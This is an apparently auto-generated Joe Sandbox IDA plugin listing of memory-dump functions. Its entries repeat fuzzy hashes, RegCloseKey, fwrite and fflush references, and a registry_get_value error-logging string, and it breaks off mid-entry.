Source File: 00000016.00000002.3158250572.00007FF8B9181000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8B9180000, based on PE: true

Associated: 00000016.00000002.3158234398.00007FF8B9180000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158275451.00007FF8B9196000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158294860.00007FF8B91A0000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158311467.00007FF8B91A3000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158327489.00007FF8B91A4000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9180000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 5aa2f7c8573c3de0365c04b7b97fedeb54286f0fb7594e79099b212bd57f958c
Instruction ID: 3cd975793e2593f46408d791bc155c68050fe39c0051fd6262389bd36191b347
Opcode Fuzzy Hash: 5aa2f7c8573c3de0365c04b7b97fedeb54286f0fb7594e79099b212bd57f958c
Instruction Fuzzy Hash: E3F0F022A0868642E6538F0CBC803B97244BF407E4F49463AEF5D46691EF3DDA8AB300

Function 00007FF8B918271E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF8B918273D

Part of subcall function 00007FF8B9181292: fwrite.MSVCRT ref: 00007FF8B918133E
Part of subcall function 00007FF8B9181292: fflush.MSVCRT ref: 00007FF8B918134A

Strings

[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8B918278D
registry_get_value, xrefs: 00007FF8B9182786

Memory Dump Source

Source File: 00000016.00000002.3158250572.00007FF8B9181000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8B9180000, based on PE: true

Associated: 00000016.00000002.3158234398.00007FF8B9180000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158275451.00007FF8B9196000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158294860.00007FF8B91A0000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158311467.00007FF8B91A3000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158327489.00007FF8B91A4000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9180000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: b64ba499165d0bf9f2a6abbdea868e445e23a4ee5814657b89a818d1230dab7a
Instruction ID: acbda8544bbe563e28de5675648f70b184f3252f1e5b5923a141e5ae3e835372
Opcode Fuzzy Hash: b64ba499165d0bf9f2a6abbdea868e445e23a4ee5814657b89a818d1230dab7a
Instruction Fuzzy Hash: F5F0F622A0878642E5538F0CBC803757244FF407E4F494536DF5D46691DF3DDA86B300

Function 00007FF8B918272C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF8B918273D

Part of subcall function 00007FF8B9181292: fwrite.MSVCRT ref: 00007FF8B918133E
Part of subcall function 00007FF8B9181292: fflush.MSVCRT ref: 00007FF8B918134A

Strings

[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8B918278D
registry_get_value, xrefs: 00007FF8B9182786

Memory Dump Source

Source File: 00000016.00000002.3158250572.00007FF8B9181000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8B9180000, based on PE: true

Associated: 00000016.00000002.3158234398.00007FF8B9180000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158275451.00007FF8B9196000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158294860.00007FF8B91A0000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158311467.00007FF8B91A3000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158327489.00007FF8B91A4000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9180000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: b925a896082f3cbac8f85682289c0623576caa08c1e2f56db9f14118f2be1eb2
Instruction ID: b0d9de61a816731c9345bbd97bc40bc011f2dbb4d13bec58fe18848e7f7ef728
Opcode Fuzzy Hash: b925a896082f3cbac8f85682289c0623576caa08c1e2f56db9f14118f2be1eb2
Instruction Fuzzy Hash: 39F0F622A0878642E5538F0CB8803757244BF407E4F494536DF5D46691DF3DD986B300

Function 00007FF8B91827A8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF8B918273D

Part of subcall function 00007FF8B9181292: fwrite.MSVCRT ref: 00007FF8B918133E
Part of subcall function 00007FF8B9181292: fflush.MSVCRT ref: 00007FF8B918134A

Strings

[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8B918278D
registry_get_value, xrefs: 00007FF8B9182786

Memory Dump Source

Source File: 00000016.00000002.3158250572.00007FF8B9181000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8B9180000, based on PE: true

Associated: 00000016.00000002.3158234398.00007FF8B9180000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158275451.00007FF8B9196000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158294860.00007FF8B91A0000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158311467.00007FF8B91A3000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158327489.00007FF8B91A4000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9180000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 56f8f947741124c32929831f6305df564f095b6d9a6d9a0b39bb5ff756825751
Instruction ID: d163a41e2158c5c0ca51e3a5e43e51b2ad2e369288e8e6a8c2261f9dc8896303
Opcode Fuzzy Hash: 56f8f947741124c32929831f6305df564f095b6d9a6d9a0b39bb5ff756825751
Instruction Fuzzy Hash: C4F09662A0878642E6538F0CB8807757255BF407E4F494635DF5D46695DF3DD98AB300

Function 00007FF8BFB59A38 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF8BFB599CD

Part of subcall function 00007FF8BFB52FD2: fwrite.MSVCRT ref: 00007FF8BFB5307E
Part of subcall function 00007FF8BFB52FD2: fflush.MSVCRT ref: 00007FF8BFB5308A

Strings

registry_get_value, xrefs: 00007FF8BFB59A16
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8BFB59A1D

Memory Dump Source

Source File: 00000016.00000002.3158634294.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.3158612916.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158658328.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158682587.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158717664.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158748673.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158773276.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: e0851725d79fa95748260dbe6cd32e6c1aaac29318307fe0d0a66a5108b9946e
Instruction ID: 245565dd909de259445d6a175790bd5f1e4e4d6fbed27ea345bc81cd26c0e710
Opcode Fuzzy Hash: e0851725d79fa95748260dbe6cd32e6c1aaac29318307fe0d0a66a5108b9946e
Instruction Fuzzy Hash: 14F09062A0874A52F6528F88F9507B97354BF447E4F480236EF5D46A90EF3DE9999300

Function 00007FF8BFB599BC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF8BFB599CD

Part of subcall function 00007FF8BFB52FD2: fwrite.MSVCRT ref: 00007FF8BFB5307E
Part of subcall function 00007FF8BFB52FD2: fflush.MSVCRT ref: 00007FF8BFB5308A

Strings

registry_get_value, xrefs: 00007FF8BFB59A16
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8BFB59A1D

Memory Dump Source

Source File: 00000016.00000002.3158634294.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.3158612916.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158658328.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158682587.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158717664.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158748673.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158773276.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: be87ca2da0906a4b563e4e802efae5fe8a631e34ae087ba0a1cce180adca3898
Instruction ID: c30fd3d5ff122b2e3da23e97c3b6e3aefb9d3525ce11ba51b10938096c705d9a
Opcode Fuzzy Hash: be87ca2da0906a4b563e4e802efae5fe8a631e34ae087ba0a1cce180adca3898
Instruction Fuzzy Hash: 68F09062A0874A52F5528F88B9507B9B354AF447E4F480236EF5D46A90EF3DE9999300

Function 00007FF8BFB599AE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF8BFB599CD

Part of subcall function 00007FF8BFB52FD2: fwrite.MSVCRT ref: 00007FF8BFB5307E
Part of subcall function 00007FF8BFB52FD2: fflush.MSVCRT ref: 00007FF8BFB5308A

Strings

registry_get_value, xrefs: 00007FF8BFB59A16
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8BFB59A1D

Memory Dump Source

Source File: 00000016.00000002.3158634294.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.3158612916.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158658328.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158682587.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158717664.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158748673.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158773276.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 43db66ee65da957a1449361e24969b174e734d57be6334d49a96190eb8423e72
Instruction ID: b336394e2dc9d79598424f183d468c56f0e70399b5b51cb1ca8cb4cf78a4fcf7
Opcode Fuzzy Hash: 43db66ee65da957a1449361e24969b174e734d57be6334d49a96190eb8423e72
Instruction Fuzzy Hash: 01F09062A0874A52F5528F88B9507B97358AF447E4F480236EF5D46690EF3DEA999300

Function 00007FF8BFB5991D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF8BFB599CD

Part of subcall function 00007FF8BFB52FD2: fwrite.MSVCRT ref: 00007FF8BFB5307E
Part of subcall function 00007FF8BFB52FD2: fflush.MSVCRT ref: 00007FF8BFB5308A

Strings

registry_get_value, xrefs: 00007FF8BFB59A16
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8BFB59A1D

Memory Dump Source

Source File: 00000016.00000002.3158634294.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.3158612916.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158658328.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158682587.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158717664.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158748673.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158773276.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 1f8b6be4531e4f61a9b791164e86e5d65f11346d678c3961dc24315970669e59
Instruction ID: b45ef00d2f7cad4a9e37787a2930321725fc9a89bb1f08694697b8f22e4b96dd
Opcode Fuzzy Hash: 1f8b6be4531e4f61a9b791164e86e5d65f11346d678c3961dc24315970669e59
Instruction Fuzzy Hash: 7AF0F022A0830A42F5528F88B9503B97344AF443E4F480236EF4D46690EF3CE9898300

Function 00007FF8BFB59927 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF8BFB599CD

Part of subcall function 00007FF8BFB52FD2: fwrite.MSVCRT ref: 00007FF8BFB5307E
Part of subcall function 00007FF8BFB52FD2: fflush.MSVCRT ref: 00007FF8BFB5308A

Strings

registry_get_value, xrefs: 00007FF8BFB59A16
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8BFB59A1D

Memory Dump Source

Source File: 00000016.00000002.3158634294.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.3158612916.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158658328.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158682587.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158717664.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158748673.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158773276.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 5e972d20f0db2410af95bb835652d4743476dec15b4255502ad73526abce4442
Instruction ID: 0d88343078784fb747fad59486f2042eb4061bbf5d247dc76a56060d534d4796
Opcode Fuzzy Hash: 5e972d20f0db2410af95bb835652d4743476dec15b4255502ad73526abce4442
Instruction Fuzzy Hash: 75F09062A0864A52F5628F88F9507B97354BF447E4F480236EF5D466D0EF3DE9999300

Function 00007FF8BFB380EE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF8BFB3810D

Part of subcall function 00007FF8BFB3A202: fwrite.MSVCRT ref: 00007FF8BFB3A2AE
Part of subcall function 00007FF8BFB3A202: fflush.MSVCRT ref: 00007FF8BFB3A2BA

Strings

registry_get_value, xrefs: 00007FF8BFB38156
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8BFB3815D

Memory Dump Source

Source File: 00000016.00000002.3158508770.00007FF8BFB31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8BFB30000, based on PE: true

Associated: 00000016.00000002.3158487373.00007FF8BFB30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158530509.00007FF8BFB40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158550873.00007FF8BFB48000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158571573.00007FF8BFB4B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158593544.00007FF8BFB4C000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb30000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 4431de4f8124a7a94acb3b6e3692c454a9cb3ecc2e31de966fdae785209df37a
Instruction ID: 4d4beef45c721104ddb7f95a1f62e0068aacd3ebcdd3cffb40b23de80d046d09
Opcode Fuzzy Hash: 4431de4f8124a7a94acb3b6e3692c454a9cb3ecc2e31de966fdae785209df37a
Instruction Fuzzy Hash: FAF0F063688A0B42E9529F88BD413B96358AF407E4F080236DF1D4A690EF3DEA899301

Function 00007FF8BFB3805D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF8BFB3810D

Part of subcall function 00007FF8BFB3A202: fwrite.MSVCRT ref: 00007FF8BFB3A2AE
Part of subcall function 00007FF8BFB3A202: fflush.MSVCRT ref: 00007FF8BFB3A2BA

Strings

registry_get_value, xrefs: 00007FF8BFB38156
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8BFB3815D

Memory Dump Source

Source File: 00000016.00000002.3158508770.00007FF8BFB31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8BFB30000, based on PE: true

Associated: 00000016.00000002.3158487373.00007FF8BFB30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158530509.00007FF8BFB40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158550873.00007FF8BFB48000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158571573.00007FF8BFB4B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158593544.00007FF8BFB4C000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb30000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 595959e12e0d8d791a9631b33b262330948874470473a6cf288e0f8731749f32
Instruction ID: 74bb848e39370cbf3ed5dfa01912da03b8f98bb765b7fdf385fb8fe01f3aa96f
Opcode Fuzzy Hash: 595959e12e0d8d791a9631b33b262330948874470473a6cf288e0f8731749f32
Instruction Fuzzy Hash: 39F0F063688B0B42E9529F88BD413B96358AF407E4F080236DF1D4A690EF3DE9899300

Function 00007FF8BFB38067 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF8BFB3810D

Part of subcall function 00007FF8BFB3A202: fwrite.MSVCRT ref: 00007FF8BFB3A2AE
Part of subcall function 00007FF8BFB3A202: fflush.MSVCRT ref: 00007FF8BFB3A2BA

Strings

registry_get_value, xrefs: 00007FF8BFB38156
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8BFB3815D

Memory Dump Source

Source File: 00000016.00000002.3158508770.00007FF8BFB31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8BFB30000, based on PE: true

Associated: 00000016.00000002.3158487373.00007FF8BFB30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158530509.00007FF8BFB40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158550873.00007FF8BFB48000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158571573.00007FF8BFB4B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158593544.00007FF8BFB4C000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb30000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 7ce75c16e399c1183033e576a59c15f89c45a6ed3088f81472bba314161fe703
Instruction ID: fc5bbd9eb7f426a3f81e68470cd14ebbd977d122181cabeba9f49a78826d0f45
Opcode Fuzzy Hash: 7ce75c16e399c1183033e576a59c15f89c45a6ed3088f81472bba314161fe703
Instruction Fuzzy Hash: 2CF0B463698A4B42E9529FC8FD413B96358BF447E4F480236DF5D4A6D0EF3DE9899300

Function 00007FF8BFB38178 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF8BFB3810D

Part of subcall function 00007FF8BFB3A202: fwrite.MSVCRT ref: 00007FF8BFB3A2AE
Part of subcall function 00007FF8BFB3A202: fflush.MSVCRT ref: 00007FF8BFB3A2BA

Strings

registry_get_value, xrefs: 00007FF8BFB38156
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8BFB3815D

Memory Dump Source

Source File: 00000016.00000002.3158508770.00007FF8BFB31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8BFB30000, based on PE: true

Associated: 00000016.00000002.3158487373.00007FF8BFB30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158530509.00007FF8BFB40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158550873.00007FF8BFB48000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158571573.00007FF8BFB4B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158593544.00007FF8BFB4C000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb30000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 8b6597c3c96ecf1030993586f09daf402de802ff915c0124a2dd22e0bd7580e4
Instruction ID: 3d2c65ac07a95d82d7359f72a234034ac2b8b2c62d7ff01dd1c7e8dfc016c077
Opcode Fuzzy Hash: 8b6597c3c96ecf1030993586f09daf402de802ff915c0124a2dd22e0bd7580e4
Instruction Fuzzy Hash: 90F09063688B4A42EA529F88FD413B96358BF447E4F084236DF5D46690EF3DE9899301

Function 00007FF8BFB380FC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF8BFB3810D

Part of subcall function 00007FF8BFB3A202: fwrite.MSVCRT ref: 00007FF8BFB3A2AE
Part of subcall function 00007FF8BFB3A202: fflush.MSVCRT ref: 00007FF8BFB3A2BA

Strings

registry_get_value, xrefs: 00007FF8BFB38156
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8BFB3815D

Memory Dump Source

Source File: 00000016.00000002.3158508770.00007FF8BFB31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8BFB30000, based on PE: true

Associated: 00000016.00000002.3158487373.00007FF8BFB30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158530509.00007FF8BFB40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158550873.00007FF8BFB48000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158571573.00007FF8BFB4B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158593544.00007FF8BFB4C000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb30000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: f5e9a1a5a4fa95b997aadb3c19c1bfd70e8aa5bab72be4b72225d5cd458617d4
Instruction ID: bb839a9bad1608df6abf79ec70382c0f04b87bc573ec2b47ba5972b0faac35ab
Opcode Fuzzy Hash: f5e9a1a5a4fa95b997aadb3c19c1bfd70e8aa5bab72be4b72225d5cd458617d4
Instruction Fuzzy Hash: FEF0F66364860B42E5529FC8BD413756358AF407D4F080236DF1D46690DF3DD9459300

Function 00007FF8BFB8D8E7 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF8BFB8D98D

Part of subcall function 00007FF8BFB81292: fwrite.MSVCRT ref: 00007FF8BFB8133E
Part of subcall function 00007FF8BFB81292: fflush.MSVCRT ref: 00007FF8BFB8134A

Strings

[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8BFB8D9DD
registry_get_value, xrefs: 00007FF8BFB8D9D6

Memory Dump Source

Source File: 00000016.00000002.3158876338.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.3158853612.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158903693.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158925698.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158951148.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158971118.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158989337.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3159008273.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: bfd4d7c23c0b7adf3137a3b763528e200069e4440a80c3d59950c302005c2d69
Instruction ID: 08842ea5986aab74ab62d003b659cb0a2536b629024817f39d26b5f7c611f187
Opcode Fuzzy Hash: bfd4d7c23c0b7adf3137a3b763528e200069e4440a80c3d59950c302005c2d69
Instruction Fuzzy Hash: CBF02422A0820A42EA929F88FC413B97344BF847E4F080236EF4C466D2EF3DD989C300

Function 00007FF8BFB8D8DD Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF8BFB8D98D

Part of subcall function 00007FF8BFB81292: fwrite.MSVCRT ref: 00007FF8BFB8133E
Part of subcall function 00007FF8BFB81292: fflush.MSVCRT ref: 00007FF8BFB8134A

Strings

